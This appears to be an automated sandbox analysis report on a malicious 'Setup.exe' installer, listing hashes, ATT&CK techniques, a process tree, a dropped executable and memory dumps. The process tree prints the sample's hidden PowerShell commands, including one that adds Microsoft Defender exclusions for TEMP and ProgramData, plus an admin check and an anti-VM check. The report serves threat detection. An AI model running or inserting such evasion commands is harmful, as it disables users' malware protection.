4b3cbdb20bf94db320a23e0df68ad46086f60cee02b7bacf541a78e9787d807e

Analysis

max time kernel
151s
max time network
160s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/09/2026, 12:26

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General

Target
Setup.exe
Size 111.5MB
Sample260909-pmesvsca95
SHA256 4b3cbdb20bf94db320a23e0df68ad46086f60cee02b7bacf541a78e9787d807e
MD5 e559a5a77d6dbb457919ce3f0379fb23
SHA1 86544a949ad39ff2f301866f7ce64644053e1938
SHA512 289b77bce655f7e354bce1c5860d7c3116bb77c8d527cd58b7a63fc53921ac74c6680e0344ed1fb1a6d0f04cd4695b91a72e88a6fc138c96d3ea222a46589672
SSDEEP 1572864:1Pp36F/iKRzlo0EL9uXpXFxAI/MZqNrGZVOc4XIoC3MnluZQrZ+:1PpIllheuXpX/z/5NivOcC7hlTrM
TLSH
T1BD48F01663E111AAD577D138C7AB6603EB72B40713308BDB329C43652F73AE45E7AB60
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3552	powershell.exe
5712	powershell.exe
5712	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1136	Xu2gQHeqfHFj.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	Xu2gQHeqfHFj.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5024	cmd.exe
3316	cmd.exe
3908	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3552	powershell.exe
3552	powershell.exe
5712	powershell.exe
5712	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	5712	powershell.exe
Token: SeIncreaseQuotaPrivilege	5712	powershell.exe
Token: SeSecurityPrivilege	5712	powershell.exe
Token: SeTakeOwnershipPrivilege	5712	powershell.exe
Token: SeLoadDriverPrivilege	5712	powershell.exe
Token: SeSystemProfilePrivilege	5712	powershell.exe
Token: SeSystemtimePrivilege	5712	powershell.exe
Token: SeProfSingleProcessPrivilege	5712	powershell.exe
Token: SeIncBasePriorityPrivilege	5712	powershell.exe
Token: SeCreatePagefilePrivilege	5712	powershell.exe
Token: SeBackupPrivilege	5712	powershell.exe
Token: SeRestorePrivilege	5712	powershell.exe
Token: SeShutdownPrivilege	5712	powershell.exe
Token: SeDebugPrivilege	5712	powershell.exe
Token: SeSystemEnvironmentPrivilege	5712	powershell.exe
Token: SeRemoteShutdownPrivilege	5712	powershell.exe
Token: SeUndockPrivilege	5712	powershell.exe
Token: SeManageVolumePrivilege	5712	powershell.exe
Token: 33	5712	powershell.exe
Token: 34	5712	powershell.exe
Token: 35	5712	powershell.exe
Token: 36	5712	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 5520 wrote to memory of 5024	5520	Setup.exe	89
PID 5024 wrote to memory of 3552	5024	cmd.exe	91
PID 5520 wrote to memory of 3316	5520	Setup.exe	92
PID 3316 wrote to memory of 592	3316	cmd.exe	94
PID 592 wrote to memory of 1104	592	net.exe	95
PID 5520 wrote to memory of 3908	5520	Setup.exe	96
PID 3908 wrote to memory of 5712	3908	cmd.exe	98
PID 5712 wrote to memory of 3680	5712	powershell.exe	100
PID 5520 wrote to memory of 1136	5520	Setup.exe	101

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('version 1.0.0','Program','OK','Information')"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('version 1.0.0','Program','OK','Information')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:592
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP,'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'; gpupdate /force""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP,'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'; gpupdate /force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5712
  - - C:\Windows\system32\gpupdate.exe
      "C:\Windows\system32\gpupdate.exe" /force
      4⤵
      PID:3680
- C:\ProgramData\Xu2gQHeqfHFj.exe
  C:\ProgramData\Xu2gQHeqfHFj.exe
  2⤵
  - Executes dropped EXE
  - Checks for VirtualBox DLLs, possible anti-VM trick
  PID:1136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

Xu2gQHeqfHFj.exe

Path C:\ProgramData\Xu2gQHeqfHFj.exe
Size 513KB
SHA256 e9607a9da10c068fa361a9cad3e5e4036fa4def4050b5a0e1253802b66a24649
MD5 9c22783c5d0768c5829231ec4235231c
SHA1 fc3f2c4e13dbd2a0ad0faa661271f00b458b7167
SHA512 d444c1496572f7b51a03e3feac1502a6e406427f1f24d3b9e1eb707d5ab5ebe83c07d905a4fdabfaaf02f8ff7ab576093c0e6c89155e79a006205df8b098944c
SSDEEP 12288:1BYfNTBmvEquIr7vBP5BnYyCRTKLI6YwmY:DOTquIfvVYPS1
TLSH
T10BB46CA2639227FCC1E6C374C416362DF6613F65462886D6825AF7210F37788AF3EB54
MD5 SHA1 SHA512 SSDEEP TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

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__PSScriptPolicyTest_obvx3uql.gpn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_obvx3uql.gpn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3552-11-0x00007FFBDD690000-0x00007FFBDE034000-memory.dmp

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memory/3552-7-0x00007FFBDD690000-0x00007FFBDE034000-memory.dmp

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memory/3552-8-0x00007FFBDD690000-0x00007FFBDE034000-memory.dmp

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memory/3552-9-0x00007FFBDD690000-0x00007FFBDE034000-memory.dmp

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memory/3552-10-0x00007FFBDD690000-0x00007FFBDE034000-memory.dmp

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memory/3552-1-0x00007FFBDD81F000-0x00007FFBDD820000-memory.dmp

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memory/3552-13-0x00007FFBDD690000-0x00007FFBDE034000-memory.dmp

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memory/3552-6-0x00007FFBDD690000-0x00007FFBDE034000-memory.dmp

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memory/3552-3-0x00007FFBDD690000-0x00007FFBDE034000-memory.dmp

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memory/3552-2-0x00000216D9840000-0x00000216D9862000-memory.dmp

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memory/5712-19-0x000001DA1C1B0000-0x000001DA1C1CE000-memory.dmp

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memory/5712-20-0x000001DA1C1D0000-0x000001DA1C282000-memory.dmp

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memory/5712-21-0x000001DA1C1A0000-0x000001DA1C1AA000-memory.dmp

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